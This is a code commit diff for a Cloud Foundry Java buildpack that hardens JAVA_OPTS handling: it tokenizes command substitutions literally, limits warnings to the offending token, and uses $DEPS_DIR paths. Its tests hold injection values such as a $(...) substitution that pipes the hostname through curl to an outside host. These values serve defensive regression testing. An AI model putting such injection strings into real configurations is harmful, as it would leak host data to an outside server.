fix: correct jres paths, javaexec tokenization, and command-substitution warning

- jvmkill and memory-calculator now use $DEPS_DIR instead of hardcoded
  /home/vcap/deps so they work in non-default CF dep layouts.
- javaexec tokenizer preserves $(...), ${...}, and backtick spans as single
  tokens (no splitting on spaces inside them).
- Warning for command substitution in JAVA_OPTS now shows only the matching
  token, not the full JAVA_OPTS value.

Author: stokpop

src/java/frameworks/java_opts_writer.go

@@ -124,6 +124,22 @@ USER_JAVA_OPTS="${USER_JAVA_OPTS//\\\$/$_escaped_dollar_placeholder}"
 USER_JAVA_OPTS=$(_expand_env_vars "$USER_JAVA_OPTS")
 USER_JAVA_OPTS="${USER_JAVA_OPTS//$_escaped_dollar_placeholder/$_dollar}"
 
+# Warn if any command substitution remains in user JAVA_OPTS. It will be
+# passed literally to the JVM — command substitutions are never executed.
+# Show only the offending token, not the full value (which may be long or contain secrets).
+case "$USER_JAVA_OPTS" in
+    *'$('*)
+        _warn_match="${USER_JAVA_OPTS#*'$('}"
+        _warn_match="\$(${_warn_match%%%%')'*})"
+        echo "WARNING: JAVA_OPTS contains command substitution; it will NOT be executed and will be passed literally to the JVM. Matching: ${_warn_match}" >&2
+        ;;
+    *"$_backtick"*)
+        _warn_match="${USER_JAVA_OPTS#*"$_backtick"}"
+        _warn_match="${_backtick}${_warn_match%%%%"$_backtick"*}${_backtick}"
+        echo "WARNING: JAVA_OPTS contains command substitution (backtick); it will NOT be executed and will be passed literally to the JVM. Matching: ${_warn_match}" >&2
+        ;;
+esac
+
 # Escape replacement-special chars once; these values are loop-invariant.
 _escaped_deps_dir="${DEPS_DIR//\\/\\\\}"
 _escaped_deps_dir="${_escaped_deps_dir//&/\\&}"

src/java/frameworks/java_opts_writer_test.go

@@ -1,6 +1,7 @@
 package frameworks_test
 
 import (
+	"bytes"
 	"os"
 	"os/exec"
 	"path/filepath"
@@ -101,13 +102,24 @@ var _ = Describe("Java Opts Writer", func() {
 		// This sources the profile.d assembly script to build $JAVA_OPTS, then
 		// tokenizes it with the real launcher, returning the argument list java
 		// would receive (one arg per line).
+		// Stderr is captured separately so that WARNING messages from the
+		// assembly script do not pollute the JAVA_OPTS value passed to the
+		// tokenizer (warnings are diagnostic, not part of the value).
 		runStartCommand := func(javaOpts string, optsFileContent string) (string, error) {
 			scriptPath := setupScript(javaOpts, optsFileContent)
-			assembled, err := runWithEnv(scriptPath, javaOpts, `printf '%s' "$JAVA_OPTS"`)
-			if err != nil {
-				return assembled, err
+			cmd := exec.Command("bash", "-c", "source "+scriptPath+` && printf '%s' "$JAVA_OPTS"`)
+			cmd.Env = append(os.Environ(),
+				"JAVA_OPTS="+javaOpts,
+				"DEPS_DIR="+depsDir,
+				"HOME=/home/vcap/app",
+			)
+			var stdout, stderr bytes.Buffer
+			cmd.Stdout = &stdout
+			cmd.Stderr = &stderr
+			if err := cmd.Run(); err != nil {
+				return stderr.String() + stdout.String(), err
 			}
-			tokens := javaexec.TokenizeJavaOpts(assembled)
+			tokens := javaexec.TokenizeJavaOpts(stdout.String())
 			return strings.Join(tokens, "\n") + "\n", nil
 		}
 
@@ -199,6 +211,25 @@ var _ = Describe("Java Opts Writer", func() {
 			Expect(output).To(ContainSubstring("WARNING: unresolved command substitution"))
 		})
 
+		It("warning for user JAVA_OPTS command substitution shows matching token, not full value", func() {
+			// Warning must identify the offending $(...) fragment without dumping
+			// the entire JAVA_OPTS string (which may be long or contain secrets).
+			// Use `true` as bashExpr so only the WARNING (stderr) appears in combined output.
+			scriptPath := setupScript("", "$JAVA_OPTS")
+			output, err := runWithEnv(scriptPath,
+				`-Dsafe=before $( hostname | wc -l ) -Dsafe=after`,
+				`true`,
+			)
+			Expect(err).NotTo(HaveOccurred(), "script failed with output: %s", output)
+			Expect(output).To(ContainSubstring("WARNING"))
+			// Warning shows the $(...) fragment
+			Expect(output).To(ContainSubstring("$("))
+			Expect(output).To(ContainSubstring("hostname"))
+			// Warning must NOT dump the full JAVA_OPTS value
+			Expect(output).NotTo(ContainSubstring("-Dsafe=before"))
+			Expect(output).NotTo(ContainSubstring("-Dsafe=after"))
+		})
+
 		It("does not execute command substitutions embedded in opts file content", func() {
 			marker := filepath.Join(cacheDir, "pwned_marker")
 			Expect(os.Remove(marker)).To(Or(Succeed(), MatchError(os.ErrNotExist)))
@@ -382,6 +413,30 @@ var _ = Describe("Java Opts Writer", func() {
 			Expect(lines[2]).To(Equal("-Dc=a>b"))
 		})
 
+		It("handles full manifest JAVA_OPTS with all edge cases (issue #1301)", func() {
+			// Reproduces the exact manifest scenario reported by users:
+			//   JAVA_OPTS: >-
+			//     -Dfoo="bar baz"
+			//     -DcronSched="0 */7 * * * *"
+			//     -Dbar=$HOME
+			//     -Dwhere=$( hostname | tr '\n' | curl -v 'https://testasdkjfhakl.me')
+			//     -Dmyfile=c:\\first\\second\\file.txt;ext
+			// YAML >- folds newlines to spaces, delivering this as one line.
+			javaOpts := `-Dfoo="bar baz" -DcronSched="0 */7 * * * *" -Dbar=$HOME -Dwhere=$( hostname | tr '\n' | curl -v 'https://testasdkjfhakl.me') -Dmyfile=c:\\first\\second\\file.txt;ext`
+			output, err := runStartCommand(javaOpts, "$JAVA_OPTS")
+			Expect(err).NotTo(HaveOccurred(), "script failed with output: %s", output)
+			lines := strings.Split(strings.TrimSpace(output), "\n")
+			Expect(lines).To(HaveLen(5))
+			Expect(lines[0]).To(Equal("-Dfoo=bar baz"))
+			Expect(lines[1]).To(Equal("-DcronSched=0 */7 * * * *"))
+			Expect(lines[2]).To(Equal("-Dbar=/home/vcap/app")) // $HOME expanded by profile.d
+			// $( hostname | ...) passes literally as one arg — not executed, not split
+			Expect(lines[3]).To(ContainSubstring("-Dwhere=$("))
+			Expect(lines[3]).To(ContainSubstring("hostname"))
+			// \\ → \ by javaexec; ; is literal
+			Expect(lines[4]).To(Equal(`-Dmyfile=c:\first\second\file.txt;ext`))
+		})
+
 		// Regression test: eval mangles .opts content containing literal double quotes.
 		// e.g. Datadog writes -Ddd.service="myapp" into its .opts file; the inner "
 		// terminates the outer eval "..." string, stripping the value.
@@ -396,5 +451,37 @@ var _ = Describe("Java Opts Writer", func() {
 			Expect(err).NotTo(HaveOccurred(), "script failed with output: %s", output)
 			Expect(output).To(ContainSubstring(`-Dpattern=foo\|bar`))
 		})
+
+		// Expanded variable values with spaces: same POSIX rules as old eval.
+		// Unquoted $VAR whose value contains spaces → split (javaexec treats spaces as
+		// word separators). Double-quoted "$VAR" → one token. Quote your references.
+		It("splits unquoted expanded $VAR with spaces into separate tokens (POSIX word-split)", func() {
+			os.Setenv("MY_SPACED_VAR", "hello world")
+			defer os.Unsetenv("MY_SPACED_VAR")
+			output, err := runStartCommand(`-Dfoo=$MY_SPACED_VAR`, "$JAVA_OPTS")
+			Expect(err).NotTo(HaveOccurred(), "script failed with output: %s", output)
+			lines := strings.Split(strings.TrimSpace(output), "\n")
+			// Unquoted: space splits into two JVM arguments, same as old eval.
+			Expect(lines).To(HaveLen(2))
+			Expect(lines[0]).To(Equal("-Dfoo=hello"))
+			Expect(lines[1]).To(Equal("world"))
+		})
+
+		It(`keeps double-quoted "$VAR" with spaces as one JVM argument`, func() {
+			os.Setenv("MY_SPACED_VAR", "hello world")
+			defer os.Unsetenv("MY_SPACED_VAR")
+			output, err := runStartCommand(`-Dfoo="$MY_SPACED_VAR"`, "$JAVA_OPTS")
+			Expect(err).NotTo(HaveOccurred(), "script failed with output: %s", output)
+			// Double-quoted: javaexec treats the quoted region as one token.
+			Expect(strings.TrimSpace(output)).To(Equal("-Dfoo=hello world"))
+		})
+
+		It(`keeps double-quoted "$VAR" with spaces in .opts content as one JVM argument`, func() {
+			os.Setenv("MY_SPACED_VAR", "hello world")
+			defer os.Unsetenv("MY_SPACED_VAR")
+			output, err := runStartCommand("", `-Dfoo="$MY_SPACED_VAR"`)
+			Expect(err).NotTo(HaveOccurred(), "script failed with output: %s", output)
+			Expect(strings.TrimSpace(output)).To(Equal("-Dfoo=hello world"))
+		})
 	})
 })

src/java/javaexec/tokenize.go

@@ -60,6 +60,48 @@ func TokenizeJavaOpts(s string) []string {
 				}
 				b.WriteRune(runes[i])
 			}
+		case '$':
+			started = true
+			b.WriteRune(c)
+			// Keep $(...) and ${...} as unbreakable units so that spaces inside
+			// do not split the enclosing token. Neither is executed; both pass
+			// literally to the JVM.
+			if i+1 < len(runes) {
+				next := runes[i+1]
+				var open, close rune
+				if next == '(' {
+					open, close = '(', ')'
+				} else if next == '{' {
+					open, close = '{', '}'
+				}
+				if open != 0 {
+					i++
+					b.WriteRune(open)
+					depth := 1
+					for i++; i < len(runes) && depth > 0; i++ {
+						ch := runes[i]
+						if ch == open {
+							depth++
+						} else if ch == close {
+							depth--
+						}
+						b.WriteRune(ch)
+						if depth == 0 {
+							break
+						}
+					}
+				}
+			}
+		case '`':
+			started = true
+			b.WriteRune(c)
+			// Keep `...` as one unbreakable unit (same reasoning as $(...)).
+			for i++; i < len(runes) && runes[i] != '`'; i++ {
+				b.WriteRune(runes[i])
+			}
+			if i < len(runes) {
+				b.WriteRune('`') // closing backtick
+			}
 		case '\\':
 			started = true
 			// Unquoted backslash escapes the next character.

src/java/javaexec/tokenize_test.go

@@ -36,15 +36,38 @@ func TestTokenizeJavaOpts(t *testing.T) {
 		{"semicolon literal", "-Dx=a;b", []string{"-Dx=a;b"}},
 		{"redirect literal", "-Dx=a>b", []string{"-Dx=a>b"}},
 
-		// Security: command substitution is NOT executed; passed through literally.
-		// Unquoted, the space inside splits it into two literal tokens (correct
-		// word-splitting) — neither is executed.
-		{"command substitution unquoted", "-Dx=$(echo HACK)", []string{"-Dx=$(echo", "HACK)"}},
+		// Security: command substitution is NOT executed; passed through literally
+		// as a single token so the app does not crash with "class not found".
+		{"command substitution unquoted", "-Dx=$(echo HACK)", []string{"-Dx=$(echo HACK)"}},
+		{"command substitution with pipe", "-Dx=$(hostname | tr a b)", []string{"-Dx=$(hostname | tr a b)"}},
+		{"command substitution nested parens", "-Dx=$(foo (bar))", []string{"-Dx=$(foo (bar))"}},
 		// Quoted, it stays a single literal argument and is never executed.
 		{"command substitution quoted", `-Dx="$(echo danger)"`, []string{"-Dx=$(echo danger)"}},
 		{"backtick literal", "-Dx=`id`", []string{"-Dx=`id`"}},
+		{"backtick with spaces", "-Dx=`hostname -f`", []string{"-Dx=`hostname -f`"}},
+
+		// ${...} extended bash forms with spaces — pass literally to JVM as one token.
+		{"brace default with spaces", "-Dx=${MY_VAR:-hello world}", []string{"-Dx=${MY_VAR:-hello world}"}},
+		{"brace replacement with spaces", "-Dx=${MY_VAR//foo/bar baz}", []string{"-Dx=${MY_VAR//foo/bar baz}"}},
+		{"brace simple no spaces", "-Dx=${MY_VAR}", []string{"-Dx=${MY_VAR}"}},
+		{"brace nested braces in pattern", "-Dx=${MY_VAR//foo{bar}/baz qux}", []string{"-Dx=${MY_VAR//foo{bar}/baz qux}"}},
+		{"brace assign default with spaces", "-Dx=${MY_VAR:=hello world}", []string{"-Dx=${MY_VAR:=hello world}"}},
 		{"dollar var literal", "-Dx=$HOME", []string{"-Dx=$HOME"}},
 
+		// Full manifest scenario (issue #1301 reproducer with all edge cases):
+		//   -Dfoo="bar baz" -DcronSched="0 */7 * * * *" -Dbar=$HOME
+		//   -Dwhere=$( hostname | tr '\n' | curl -v 'https://example.me')
+		//   -Dmyfile=c:\\first\\second\\file.txt;ext
+		// $HOME is already expanded by profile.d before javaexec sees it.
+		{"full manifest scenario", `-Dfoo="bar baz" -DcronSched="0 */7 * * * *" -Dbar=/home/vcap/app -Dwhere=$( hostname | tr '\n' | curl -v 'https://example.me') -Dmyfile=c:\\first\\second\\file.txt;ext`,
+			[]string{
+				"-Dfoo=bar baz",
+				"-DcronSched=0 */7 * * * *",
+				"-Dbar=/home/vcap/app",
+				`-Dwhere=$( hostname | tr '\n' | curl -v 'https://example.me')`,
+				`-Dmyfile=c:\first\second\file.txt;ext`,
+			}},
+
 		// Backslash follows POSIX shell rules (parity with previous eval form):
 		// unquoted backslash escapes the next character.
 		{"escaped space joins", `a\ b`, []string{"a b"}},

src/java/jres/jvmkill.go

@@ -176,20 +176,13 @@ func (j *JVMKillAgent) Finalize() error {
 	return nil
 }
 
-// convertToRuntimePath converts absolute staging path to runtime absolute path
-// Example: /tmp/contents.../deps/<idx>/jre/bin/jvmkill-1.16.0.so -> /home/vcap/deps/<idx>/jre/bin/jvmkill-1.16.0.so
-// Note: We use absolute path instead of $DEPS_DIR because startup scripts run before .profile.d scripts
-// are sourced, so $DEPS_DIR is not yet available at runtime.
+// convertToRuntimePath converts a staging path to a runtime path using $DEPS_DIR.
+// The path ends up in a .opts file that is read by the profile.d assembly script,
+// which expands $DEPS_DIR before passing the value to the JVM.
 func (j *JVMKillAgent) convertToRuntimePath(stagingPath string) string {
-	// Extract filename and build runtime path
-	// We know the structure: <staging-path>/deps/<idx>/jre/bin/jvmkill-VERSION.so
-	// Runtime path: /home/vcap/deps/<idx>/jre/bin/jvmkill-VERSION.so
-
 	depsIdx := j.ctx.Stager.DepsIdx()
 	filename := filepath.Base(stagingPath)
-
-	// Build absolute runtime path (Cloud Foundry standard location)
-	return fmt.Sprintf("/home/vcap/deps/%s/jre/bin/%s", depsIdx, filename)
+	return fmt.Sprintf("$DEPS_DIR/%s/jre/bin/%s", depsIdx, filename)
 }
 
 // getHeapDumpPath checks for volume service with heap-dump tag and returns path

src/java/jres/memory_calculator.go

@@ -355,24 +355,18 @@ func (m *MemoryCalculator) GetCalculatorCommand() string {
 	return fmt.Sprintf(`CALCULATED_MEMORY=$(%s) && echo JVM Memory Configuration: $CALCULATED_MEMORY && JAVA_OPTS="$JAVA_OPTS $CALCULATED_MEMORY" && MALLOC_ARENA_MAX=2`, calcCmd)
 }
 
-// convertToRuntimePath converts a staging path to a runtime path
-// Example: /tmp/staging/deps/0/jre/bin/calculator -> /home/vcap/deps/0/jre/bin/calculator
+// convertToRuntimePath converts a staging path to a runtime path using $DEPS_DIR.
+// Example: /tmp/staging/deps/0/jre/bin/calculator -> $DEPS_DIR/0/jre/bin/calculator
 func (m *MemoryCalculator) convertToRuntimePath(stagingPath string) string {
 	depsIdx := m.ctx.Stager.DepsIdx()
 
-	// Extract the relative path from deps/<idx>/ onwards
-	// stagingPath: /tmp/.../deps/<idx>/jre/bin/java-buildpack-memory-calculator-X.X.X
-	// We want: /home/vcap/deps/<idx>/jre/bin/java-buildpack-memory-calculator-X.X.X
-
-	// Find "jre/bin/" in the path
 	if idx := strings.Index(stagingPath, "jre/bin/"); idx != -1 {
 		relativePath := stagingPath[idx:]
-		return fmt.Sprintf("/home/vcap/deps/%s/%s", depsIdx, relativePath)
+		return fmt.Sprintf("$DEPS_DIR/%s/%s", depsIdx, relativePath)
 	}
 
-	// Fallback: just use the filename
 	filename := filepath.Base(stagingPath)
-	return fmt.Sprintf("/home/vcap/deps/%s/jre/bin/%s", depsIdx, filename)
+	return fmt.Sprintf("$DEPS_DIR/%s/jre/bin/%s", depsIdx, filename)
 }
 
 // openJDKJREConfig mirrors the memory_calculator section of JBP_CONFIG_OPEN_JDK_JRE.